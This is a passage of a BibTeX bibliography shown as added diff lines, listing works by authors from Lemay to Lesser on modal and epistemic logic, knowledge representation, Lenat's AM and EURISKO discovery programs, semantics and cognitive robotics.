lemay-coddenhead:2000a, + author = {Laura Lemay and Rogers Coddenhead}, + title = {Teach Yourself {\sc Java} 2 in 21 Days}, + edition = {2}, + publisher = {Sams}, + year = {2000}, + address = {Indianapolis}, + ISBN = {067231958-6}, + topic = {programming-manual;JAVA;} + } + +@article{ lemmon:1957a, + author = {E.J. Lemmon}, + title = {New Foundations for {L}ewis Modal Systems}, + journal = {Journal of Symbolic Logic}, + year = {1957}, + volume = {22}, + pages = {176--186}, + number = {2}, + topic = {modal-logic;} + } + +@article{ lemmon:1962a, + author = {E.J. Lemmon}, + title = {On Sentences Verifiable By Their Use}, + journal = {Analysis}, + year = {1962}, + volume = {22}, + pages = {86--89}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;pragmatics;} + } + +@article{ lemmon:1962b, + author = {E. J. Lemmon}, + title = {Moral Dilemmas}, + journal = {Philosophical Review}, + volume = {70}, + year = {1962}, + pages = {139--158}, + topic = {moral-conflict;} + } + +@book{ lemmon:1977a, + author = {E.J. Lemmon}, + title = {The ``Lemmon Notes'': An Introduction to Modal Logic}, + publisher = {Blackwell Publishers}, + year = {1977}, + address = {Oxford}, + note = {Americal Philosophical Quarterly Monograph Series, Monograph + No. 11.}, + missinginfo = {A's 1st name.}, + topic = {modal-logic;} + } + +@article{ lemmon_o:1997a, + author = {Oliver J. Lemmon}, + title = {Review of {\it Logic and Visual Information}, by + {E}ric {M}. {H}ammer}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {2}, + pages = {213--216}, + topic = {diagrams;reasoning-with-diagrams;visual-reasoning;} + } + +@article{ lemon:1999c, + author = {Oliver Lemon and Maarten de Rijke and Atsushi + Shimo-Jima}, + title = {Editorial: Efficiency of Diagrammatic Reasoning}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {3}, + pages = {265--271}, + topic = {reasoning-with-diagrams;} + } + +@incollection{ lemon_o:1996a, + author = {Oliver J. Lemon}, + title = {Semantical Foundations of Spatial Logics}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {212--219}, + address = {San Francisco, California}, + topic = {kr;spatial-reasoning;spatial-representation;kr-course;} + } + +@article{ lemon_o-pratt:1997a, + author = {Oliver J. Lemon and Ian Pratt}, + title = {Spatial Logic and the Complexity of Diagrammmatic + Reasoning}, + journal = {Machine Graphics and Vision}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {89--108}, + topic = {reasoning-with-diagrams;spatial-reasoning;} + } + +@article{ lemon_o-pratt:1997b, + author = {Oliver J. Lemon and Ian Pratt}, + title = {On the Insufficiency of Linear Diagrams for + {A}ristotelian Syllogistic}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {forthcoming}, + missinginfo = {Said to be forthcoming in July, 1999.}, + topic = {reasoning-with-diagrams;syllogistic;} + } + +@incollection{ lemon_o-pratt:1998a, + author = {Oliver Lemon and Ian Pratt}, + title = {On the Incompleteness of Modal Logics of Space: Advancing + Complete Modal Logics of Place}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {115--132}, + address = {Stanford, California}, + topic = {modal-logic;spatial-logic;} + } + +@article{ lemon_o:1999b, + author = {Oliver Lemon}, + title = {Review of {\em {F}orms of Representation: + Interdisciplinary, Theme for Cognitive Science} edited by + {D}onald {P}eterson}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {3}, + pages = {385--387}, + topic = {representation;foundations-of-cognitive-science;} + } + +@book{ lemos:1994a, + author = {Noah M. Lemos}, + title = {Intrinsic Value: Concept and Warrant}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {utility;practical-reasoning;} + } + +@inproceedings{ lemperti-zanella:2000a, + author = {Gianfranco Lemperti and Marina Zanella}, + title = {Generalization of Diagnostic Knowledge by Discrete-Event + Model Compilation}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {333--344}, + topic = {diagnosis;model-based-reasoning;} + } + +@article{ lenat:1977a, + author = {Douglas B. Lenat}, + title = {The Ubiquity of Discovery}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {3}, + pages = {257--285}, + acontentnote = {Abstract: + As scientists interested in studying the phenomenon of + ``intelligence'', we first choose a view of Man, develop a + theory of how intelligent behavior is managed, and construct + some models which can test and refine that theory. The view we + choose is that Man is a processor of symbolic information. The + theory is that sophisticated cognitive tasks can be cast as + searches or explorations, and that each human possesses (and + efficiently accesses) a large body of informal rules of thumb + (or heuristics) which constrain his search. The source of what + we colloquially call ``intelligence'' is seen to be very + efficient searching of an a priori immense space. Some + computational models which incorporate this theory are + described. Among them is AM, a computer program that develops + new mathematical concepts and formulates conjectures involving + them; AM is guided in this exploration by a collection of 250 + more or less general heuristic rules. The operational nature of + such models allows experiments to be performed upon them, + experiments which help us test and develop hypotheses about + intelligence. One interesting finding has been the ubiquity of + this kind of heuristic guidance: intelligence permeates every + day problem solving and invention, as well as the kind of + problem solving and invention that scientists and artists + perform. The ultimate goals of this kind of research are (i) to + de-mystify the process by which new science and art are created, + and (ii) to build tools (computer programs) which enhance man's + mental capabilities.}, + topic = {automated-discovery;machine-learning;heuristics;analogy;} + } + +@article{ lenat:1982a, + author = {Douglas B. Lenat}, + title = {The Nature of Heuristics}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {2}, + pages = {189--249}, + acontentnote = {Abstract: + Builders of expert rule-based systems attribute the impressive + performance of their programs to the corpus of knowledge they + embody: a large network of facts to provide breadth of scope, + and a large array of informal judgmental rules (heuristics) + which guide the system toward plausible paths to follow and away + from implausible ones. Yet what is the nature of heuristics? + What is the source of their power? How do they originate and + evolve? By examining two case studies, the AM and EURISKO + programs, we are led to some tentative hypotheses: Heuristics + are compiled hindsight, and draw their power from the various + kinds of regularity and continuity in the world; they arise + through specialization, generalization, and -- surprisingly often + -- analogy. Forty years ago, Polya introduced Heuretics as a + separable field worthy of study. Today, we are finally able to + carry out the kind of computation-intensive experiments which + make such study possible.}, + topic = {automated-discovery;machine-learning;heuristics;analogy;} + } + +@article{ lenat:1983a, + author = {Douglas B. Lenat}, + title = {{EURISKO}: A Program that Learns New Heuristics and Domain + Concepts. The Nature of Heuristics {III}: Program Design and + Results}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {1--2}, + pages = {61--98}, + acontentnote = {Abstract: + The AM program, an early attempt to mechanize learning by + discovery, has recently been expanded and extended to several + other task domains. AM's ultimate failure apparently was due to + its inability to discover new, powerful, domain-specific + heuristics for the various new fields it uncovered. At that + time, it seemed straight-forward to simply add `Heuristics' as + one more field in which to let AM explore, observe, define and + develop. That task -- learning new heuristics by discovery -- + turned out to be much more difficult than was realized + initially, and we have just now achieved some successes at it. + Along the way, it became clearer why AM had succeeded in the + first place, and why it was so difficult to use the same + paradigm to discover new heuristics. In essence, AM was an + automatic programming system, whose primitive actions were + modifications to pieces of LISP code, code which represented the + characteristic functions of various math concepts. It was only + because of the deep relationship between LISP and Mathematics + that these operations (loop unwinding, recursion elimination, + composition, argument elimination, function substitition, etc.) + which were basic LISP mutators also turned out to yield a high + `hit rate' of viable, useful new math concepts when applied to + previously-known, useful math concepts. But no such deep + relationship existed between LISP and Heuristics, and when the + basic automatic programming operators were applied to viable, + useful heuristics, they almost always produced useless (often + worse than useless) new rules. Our work on the nature of + heuristics has enabled the construction of a new language in + which the statement of heuristics is more natural and compact. + Briefly, the vocabulary includes many types of conditions, + actions, and descriptive properties that a heuristic might + possess; instead of writing a large lump of LISP code to + represent the heuristic, one spreads the same information out + across dozens of `slots'. By employing this new language, the + old property that AM satisfied fortuitously is once again + satisfied: the primitive syntactic operators usually now produce + meaningful semantic variants of what they operate on. The ties + to the foundations of Heuretics have been engineered into the + syntax and vocabulary of the new language, partly by design and + partly by evolution, much as John McCarthy engineered ties to + the foundations of Mathematics into LISP. The EURISKO program + embodies this language, and it is described in this paper, along + with its results in eight task domains: design of naval fleets, + elementary set theory and number theory, LISP programming, + biological evolution, games in general, the design of three + dimensional VLSI devices, the discovery of heuristics which help + the system discover heuristics, and the discovery of appropriate + new types of `slots' in each domain. Along the way, some very + powerful new concepts, designs, and heuristics were indeed + discovered mechanically. Characteristics that make a domain + ripe for AM-like exploration for new concepts and conjectures + are explicated, plus features that make a domain especially + suitable for EURISKO-level exploration for new heuristics.}, + topic = {automated-discovery;machine-learning;heuristics;} + } + +@article{ lenat:1983b, + author = {Douglas B. Lenat}, + title = {Theory Formation by Heuristic Search. The Nature of + Heuristics {II}: Background and Examples}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {1--2}, + pages = {31--59}, + acontentnote = {Abstract: + Machine learning can be categorized along many dimensions, an + important one of which is `degree of human guidance or + forethought'. This continuum stretches from rote learning, + through carefully-guided concept-formation by observation, out + toward independent theory formation. Six years ago, the AM + program was constructed as an experiment in this latter kind of + learning by discovery. Its source of power was a large body of + heuristics, rules which guided it toward fruitful topics of + investigation, toward profitable experiments to perform, toward + plausible hypotheses and definitions. Since that time, we have + gained a deeper insight into the nature of heuristics and the + nature of the process of forming and extending theories + empirically. `The Nature of Heuristics I' paper presented the + theoretical basis for this work, with an emphasis on how + heuristics relate to each other. This paper presents our + accretion model of theory formation, and gives many examples of + its use in producing new discoveries in various fields. These + examples are drawn from runs of a program called EURISKO, the + successor to AM, that embodies the accretion model and uses a + corpus of heuristics to guide its behavior. Since our model + demands the ability to discover new heuristics periodically, as + well as new domain objects and operators, some of our examples + illustrate that process as well. `The Nature of Heuristics III' + paper describes the architecture of the EURISKO program, and + conclusions we have made from its behavior. } , + topic = {automated-discovery;machine-learning;} + } + +@article{ lenat-brown_js:1984a, + author = {Douglas B. Lenat and John Seely Brown}, + title = {Why {AM} and {EURISKO} Appear to Work}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {3}, + pages = {269--294}, + acontentnote = {Abstract: + The AM program was constructed by Lenat in 1975 as an early + experiment in getting machines to learn by discovery. In the + preceding article in this issue of the AI Journal, Ritchie and + Hanna focus on that work as they raise several fundamental + questions about the methodology of artificial intelligence + research. Part of this paper is a response to the specific + points they make. It is seen that the difficulties they cite + fall into four categories, the most serious of which are omitted + heuristics, and the most common of which are miscommunications. + Their considerations, and our post-AM work on machines that + learn, have clarified why AM succeeded in the first place, and + why it was so difficult to use the same paradigm to discover new + heuristics. Those recent insights spawn questions about ``where + the meaning really resides'' in the concepts discovered by AM. + This in turn leads to an appreciation of the crucial and unique + role of representation in theory formation, specifically the + benefits of having syntax mirror semantics. Some criticism of + the paradigm of this work arises due to the ad hoc nature of + many pieces of the work; at the end of this article we examine + how this very adhocracy may be a potential source of power in + itself. + } , + topic = {automated-discovery;machine-learning;} + } + +@book{ lenat-guha:1989a, + author = {Douglas B. Lenat and R.V. Guha}, + title = {Building Large Knowledge-Based Systems: Representation and + Inference in the {\sc cyc} Project.}, + publisher = {Addison-Wesley Publishing Company}, + year = {1989}, + address = {Reading, Massachusetts}, + xref = {Review: mcdermott:1993a, neches:1993a, skuce:1993a, sowa:1993a.}, + topic = {kr;large-kr-systems;kr-course;} + } + +@article{ lenat-feigenbaum:1991a, + author = {Douglas B. Lenat and Edward A. Feigenbaum}, + title = {On the Thresholds of Knowledge}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {185--230}, + contentnote = {Argues for: (1) importance of knowledge in AI, (2) + need for breadth of knowledge, (3) need for experimenting + with large problems}, + topic = {kr;large-kr-systems;kr-course;} + } + +@article{ lenat-feigenbaum:1991b, + author = {Douglas B. Lenat and Edward A. Feigenbaum}, + title = {Reply to Brian Smith}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {231--250}, + topic = {kr;foundations-of-AI;logicism;large-kr-systems;kr-course;} + } + +@article{ lenk:1977a, + author = {Hans Lenk}, + title = {Complements and Different Lattice Structures in a Logic of + Action}, + journal = {Erkenntnis}, + year = {1977}, + volume = {11}, + pages = {251--268}, + missinginfo = {number}, + topic = {action;} + } + +@book{ lenneberg:1967a, + author = {Eric H. Lenneberg}, + title = {Biological Foundations of Language}, + publisher = {John Wiley and Sons}, + year = {1967}, + address = {New York}, + topic = {foundations-of-semantics;biolinguistics;reference;} + } + +@incollection{ leny:1995a, + author = {Jean-Francois Le Ny}, + title = {Mental Lexicon and Machine Lexicon: Which Properties are + Shared by Machine and Mental Word Representations?}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {50--67}, + address = {Cambridge, England}, + topic = {machine-translation;nl-kr;computational-lexical-semantics;} + } + +@inproceedings{ lenz-burkhard:1997a, + author = {M. Lenz and H.-D. Burkhard}, + title = {CBR for Document Retrieval---The {FAllQ} Project}, + booktitle = {Case-Based Reasoning Research and Development + (ICCBR-97), Lecture Notes in Artificial + Intelligence No. 1266}, + year = {1997}, + editor = {D.B. Leake and E. Plaza}, + pages = {84--93}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {case-based-reasoning;} + } + +@article{ lenzen:1976a, + author = {Wolfgang Lenzen}, + title = {Knowledge, Belief, Existence, and Quantifiers: A Note on + {H}intikka}, + journal = {Grazer Philosophische Studien}, + year = {1976}, + volume = {2}, + pages = {55--65}, + topic = {epistmic-logic;} + } + +@article{ lenzen:1977a, + author = {Wolfgang Lenzen}, + title = {Protagoras versus {E}uathlus: Reflections on a So-Called Paradox}, + journal = {Ratio}, + year = {1977}, + volume = {19}, + number = {2}, + pages = {176--180}, + topic = {Protagoras-vs-Euathlus-paradox;deontic-logic;} + } + +@article{ lenzen:1978a, + author = {Wolfgang Lenzen}, + title = {Recent Work in Epistemic Logic}, + journal = {Acta Philosophica Fennica}, + year = {1978}, + volume = {30}, + pages = {1--219}, + missinginfo = {number}, + topic = {epistemic-logic;} + } + +@article{ lenzen:1978b, + author = {Wolfgang Lenzen}, + title = {On Some Substitution Instances of {R}1 and {L}1}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1978}, + volume = {19}, + number = {2}, + pages = {159--164}, + topic = {modal-logic;} + } + +@article{ lenzen:1978c, + author = {Wolfgang Lenzen}, + title = {A Rare Accident}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1978}, + volume = {19}, + number = {2}, + pages = {249--250}, + topic = {modal-logic;} + } + +@article{ lenzen:1978d, + author = {Wolfgang Lenzen}, + title = {S4.1.4 = {S}4.1.2 and {S}4.021 = {S}4.04}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1978}, + volume = {19}, + number = {3}, + pages = {465--466}, + topic = {modal-logic;} + } + +@unpublished{ lenzen:1988a, + author = {Wolfgang Lenzen}, + title = {Some Logical Problems about Circumscription}, + year = {1988}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {circumscription;nonmonotonic-logic;} + } + +@book{ lenzen:1994a, + author = {Wolfgang Lenzen}, + title = {Recent Work in Epistemic Logic}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + series = {Acta Philosophica {F}ennica}, + address = {Helsinki}, + topic = {epistemic-logic;} + } + +@incollection{ lenzen:1995a, + author = {Wolfgang Lenzen}, + title = {On the Semantics and Pragmatics of Propositional Attitudes}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akademie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + chapter = {8}, + pages = {181--197}, + missinginfo = {address}, + topic = {epistemic-logic;propositional-attitudes;} + } + +@incollection{ lenzen:1998a, + author = {Wolfgang Lenzen}, + title = {Necessary Conditions for Negation-Operators (with + Particular Applications to Paraconsistent Negation)}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 2: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {211--239}, + address = {Dordrecht}, + topic = {negation;paraconsistency;} + } + +@incollection{ lenzerini:1998a, + author = {Maurizio Lenzerini}, + title = {Description Logics and Their Applications (Abstract)}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {652}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;applied-kr;kr-course;} + } + +@incollection{ leon-serrano:1997a, + author = {Fernando S\'anchez L\'eon and Amalio F. Nieto Serrano}, + title = {Retargetting a Tagger}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {151--166}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;corpus-tagging;} + } + +@book{ leonard_a:1997a, + author = {Andrew Leonard}, + title = {Bots: The Origin Of New Species}, + publisher = {Hardwired}, + year = {1997}, + address = {San Francisco}, + ISBN = {1888869054}, + topic = {robotics;AI-popular;} + } + +@article{ leonard_h-goodman:1940a, + author = {Henry Leonard and Nelson Goodman}, + title = {The Calculus of Individuals and Its Uses}, + journal = {Journal of Symbolic Logic}, + year = {1940}, + volume = {5}, + pages = {45--55}, + missinginfo = {number}, + topic = {mereology;} + } + +@incollection{ leong:1996a, + author = {Tze-Yun Leong}, + title = {Multiple Perspective Reasoning}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {562--573}, + address = {San Francisco, California}, + topic = {kr;hybrid-reasoning;context;perspective-sensitive-reasoning; + kr-course;} + } + +@article{ leong:1998a, + author = {Tze Yun Leong}, + title = {Multiple Perspective Dynamic Decision Making}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {209--261}, + topic = {perspective-sensitive-reasoning;decision-making;} + } + +@article{ lepage:2000a, + author = {Fran\c{c}ois Lepage}, + title = {Partial Monotonic Protothetics}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {147--163}, + topic = {propositional-quantifiers;type-theory;partial-logic;} + } + +@article{ lepage-etal:2000a, + author = {Fran\c{c}ois Lepage and Elias Thijsse and + Heinrich Wansing}, + title = {Introduction (to Special Issue on Partiality and + Modality)}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {1--4}, + topic = {modal-logic;partial-logic;truth-value-gaps;} + } + +@book{ lepoidevin:1998a, + editor = {Robert Le Poidevin}, + title = {Questions of Time and Tense}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + xref = {Review: markovian:2001a.}, + topic = {tense-logic;philosophy-of-time;} + } + +@article{ lepore:1982a, + author = {Ernest Lepore}, + title = {In Defense of {D}avidson}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {3}, + pages = {277--294}, + topic = {Davidson;nl-semantics;} + } + +@article{ lepore:1983a1, + author = {Ernest Lepore}, + title = {What Model-Theoretic Semantics Cannot Do}, + journal = {Synth\'ese}, + year = {1983}, + volume = {54}, + pages = {167--187}, + xref = {Republication: lepore:1983a2.}, + topic = {foundations-of-semantics;} + } + +@incollection{ lepore:1983a2, + author = {Ernest LePore}, + title = {What Model-Theoretic Semantics Cannot Do}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {109--128}, + address = {Cambridge, Massachusetts}, + xref = {Republication of lepore:1983a1.}, + topic = {foundations-of-semantics;} + } + +@article{ lepore-garson:1983a, + author = {Ernest Lepore and James Garson}, + title = {Pronouns and Quantifier-Scope in {E}nglish}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {3}, + pages = {327--358}, + topic = {nl-quantifier-scope;pronouns;} + } + +@book{ lepore-mclaughlin_bp:1985a, + editor = {Ernest LePore and Brian McLaughlin}, + title = {Action and Events: Perspectives on the Philosophy of + Donald Davidson}, + publisher = {Basil Blackwell Ltd.}, + year = {1985}, + address = {Oxford}, + topic = {Donald-Davidson;events;intention;action;philosophy-of-action;} + } + +@book{ lepore:1986a, + editor = {Ernest Lepore}, + title = {Truth and Interpretation: Perspectives on the Philosophy + of {D}onald {D}avidson}, + publisher = {Blackwell Publishers}, + year = {1986}, + address = {Oxford}, + ISBN = {0631148116}, + topic = {philosophy-of-language;} + } + +@incollection{ lepore-loewer:1986a, + author = {Ernest LePore and Barry Loewer}, + title = {Solipsistic Semantics}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {595--614}, + address = {Minneapolis}, + topic = {foundations-of-semantics;narrow-content;} + } + +@book{ lepore:1987a, + editor = {Ernest LePore}, + title = {New Directions in Semantics}, + publisher = {Academic Press}, + year = {1987}, + address = {London}, + contentnote = {TC: Lepore, Introduction. + Harman, (Nonsolipsistic) Conceptual Role Semantics. + LePore and Loewer, Dual Aspect Semantics. + Schiffer, Existentialist Semantics and Sententialist + Theories of Belief. + Lycan, Semantic Competence and Truth Conditions. + Katz, Common Sense in Semantics. + Hintikka, Game Theoretical Semantics. + Grandy, In Defense of Semantic Fields. + Kasher, Justification of Speech, Acts, and Speech Acts. + May, Logical Form as a Level of Linguistic Representation. + Richards, Tenses, Temporal Quantifiers and Semantic + Innocence. + Schubert and Pelletier, Problems in the + Representation of Generics, Plurals, and Mass Nouns + Gupta, The Meaning of Truth + }, + topic = {nl-semantics;} + } + +@article{ lepore-loewer:1987a, + author = {Ernest {Le Pore} and Barry Loewer}, + title = {Mind Matters}, + journal = {The Journal of Philosophy}, + volume = {84}, + year = {1987}, + pages = {630--642}, + topic = {philosophy-of-mind;} + } + +@incollection{ lepore-loewer:1987b, + author = {Ernest LePore and Barry Loewer}, + title = {Dual Aspect Semantics}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {83--112}, + address = {London}, + contentnote = {Idea is to turn twin earth into a kind of foundation + for semantics.}, + topic = {nl-semantics;foundations-of-semantics;cognitive-semantics; + twin-earth;} + } + +@book{ lepore-vangulick:1991a, + editor = {Ernest Lepore and Robert {van Gulick}}, + title = {John Searle and His Critics}, + publisher = {Blackwell Publishers}, + year = {1991}, + address = {Oxford}, + ISBN = {0631156364}, + topic = {Searle;speech-acts;} + } + +@unpublished{ lepore-ludwig:1999a, + author = {Ernest Lepore and Kirk Ludwig}, + title = {The Semantics and Pragmatics of Complex Demonstratives}, + year = {1999}, + note = {Unpublished manuscript, } , + topic = {demonstratives;} + } + +@book{ lepore-pylyshyn:1999a, + editor = {Ernest Lepore and Zenon Pylyshyn}, + title = {What is Cognitive Science?}, + publisher = {Blackwell Publishers}, + year = {1999}, + address = {Oxford}, + ISBN = {0-631-20494-5 (pb)}, + topic = {cognitive-science-survey;cogsci-intro;} + } + +@inproceedings{ lerner-pinkal:1995a, + author = {Jan Lerner and Manfred Pinkal}, + title = {Comparative Ellipsis and Variable Binding}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {222--236}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;ellipsis;comparative-constructions;} + } + +@incollection{ leroy:1995a, + author = {Stephen F. LeRoy}, + title = {Causal Orderings}, + booktitle = {Macroeconometrics: Developments, Tensions, Prospects}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Kevin D. Hoover}, + pages = {211--228}, + address = {Dordrecht}, + topic = {causality;econometrics;} + } + +@incollection{ lesh-etzioni:1996a, + author = {Neal Lesh and Oren Etzioni}, + title = {Scaling up Goal Recognition}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {244--255}, + address = {San Francisco, California}, + topic = {kr;plan-recognition;machine-learning;kr-course;} + } + +@misc{ lesniewski:1916a, + author = {Stanis{\l}aw Le\'sniewski}, + title = {Podstawy Og\'olnej Teorii Mnogo\'sci {I}}, + year = {1916}, + address = {Moscow}, + note = {English title: ``Foundations of a General Set Theory {I}.''}, + missinginfo = {publisher}, + topic = {mereology;} + } + +@phdthesis{ lesperance:1991a, + author = {Yves Lesp\'erance}, + title = {A Formal Theory of Indexical Knowledge and Action}, + school = {Computer Science Department, University of Toronto}, + year = {1991}, + topic = {action-formalisms;epistemic-logic;} + } + +@inproceedings{ lesperance:1993a, + author = {Yves Lesp\'erance}, + title = {An Approach to Modeling Indexicality in Action and + Communication}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Reasoning about Mental States}, + editor = {John F. Horty et al.}, + year = {1993}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + pages = {79--85}, + missinginfo = {editors}, + xref = {Also appears in the Proceedings of the IJCAI Workshop on Using + Knowledge in its Context, Chambery, France, August 1993.}, + topic = {indexicality;context;} + } + +@inproceedings{ lesperance-etal:1994a, + author = {Yves Lesp\'erance and Hector J. Levesque and Fangzhen Lin + and Daniel Marcu and Raymond Reiter and Richard B. Scherl}, + title = {A Logical Approach to High-Level Robot Programming---A + Progress Report}, + booktitle = {Control of the Physical World by Intelligent Systems, + Papers from the 1994 {AAAI} Fall Symposium}, + year = {1994}, + editor = {Benjamin Kuipers}, + pages = {79--85}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {cognitive-robotics;} + } + +@inproceedings{ lesperance:1995a, + author = {Yves Lesp\'erance}, + title = {A Formal Account of Self-Knowledge and Action}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {868--874}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {action-formalisms;epistemic-logic;} + } + +@article{ lesperance-etal:1995a, + author = {Yves Lesp\'erance and Hector J. Levesque}, + title = {Indexical Knowledge and Robot Action---A Logical Approach}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {69--115}, + topic = {indexicality;cognitive-robotics;} + } + +@incollection{ lesperance-etal:1996a, + author = {Yves Lesp\'erance and Hector J. Levesque and Fangzhen + Lin and D. Marcu and Raymond Reiter and Richard B. Scherl}, + title = {Foundations of a Logical Approach to Agent Programming}, + booktitle = {Intelligent Agents Volume {II}---Proceedings of the + 1995 Workshop on Agent Theories, Architectures, and + Languages (ATAL--95)}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Michael J. Wooldrige and J.P. M\"uller and Miland Tambe}, + pages = {331--346}, + address = {Berlin}, + missinginfo = {A's 1st name, E's 1st name.}, + topic = {agent-oriented-programming;} + } + +@article{ lesperance-etal:1999a, + author = {Yves Lesp\'erance and Raymond Reiter and Fanzhen Lin + and Richard B. Scherl}, + title = {{GOLOG:} A Logic Programming Language for Dynamic Domains}, + journal = {Journal of Logic Programming}, + year = {1997}, + volume = {31}, + pages = {59--84}, + missinginfo = {number}, + topic = {golog;cognitive-robotics;} + } + +@incollection{ lesperance-etal:1999b, + author = {Yves Lesp\'erance and Hector J. Levesque and + Raymond Reiter}, + title = {A Situation Calculus Approach to Modeling and + Programming Agents}, + booktitle = {Foundations of Rational Agency}, + publisher = {Kluwer Academic Pub;ishers}, + year = {1999}, + editor = {Michael J. Wooldridge and A. Rao}, + pages = {275--299}, + address = {Dordrecht}, + missinginfo = {E's 1st names.}, + topic = {situation-calculus;planning-formalisms;Golog;} + } + +@inproceedings{ lesperance-etal:1999c, + author = {Yves Lesp\'erance and T.G.Kelley and + John Mylopoulos and E.S.K. Yu}, + title = {Modeling Dynamic Domains with {C}on{G}olog}, + booktitle = {Advanced Information Systems Engineering, + 11th International Conference: {CAiSE}-99}, + year = {1999}, + pages = {365--380}, + publisher = {Springer-Verlag}, + address = {Berlin}, + missinginfo = {A's 1st name, editor}, + topic = {Golog;concurrency;} + } + +@article{ lesperance-etal:2000a, + author = {Yves Lesp\'erance and Hector J. Levesque and Fangzhen Lin + and Richard B. Scherl}, + title = {Ability and Knowing How in the Situation Calculus}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {165--186}, + topic = {ability;knowing-how;situation-calculus;} + } + +@article{ lessard:1999a, + author = {Greg Lessard}, + title = {Review of {\em Learner {E}nglish on a + Computer}, edited by {S}ylvaine {G}ranger}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {302--303}, + xref = {Review of: granger_s:1998a.}, + topic = {corpus-linguistics;L2-language-learning;} + } + +@article{ lesser-etal:1995a, + author = {Victor R. Lesser and S. Hamid Nawab and Frank I. Klassner}, + title = {{IPUS}: An Architecture for the Integrated Processing and + Understanding of Signals}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {1}, 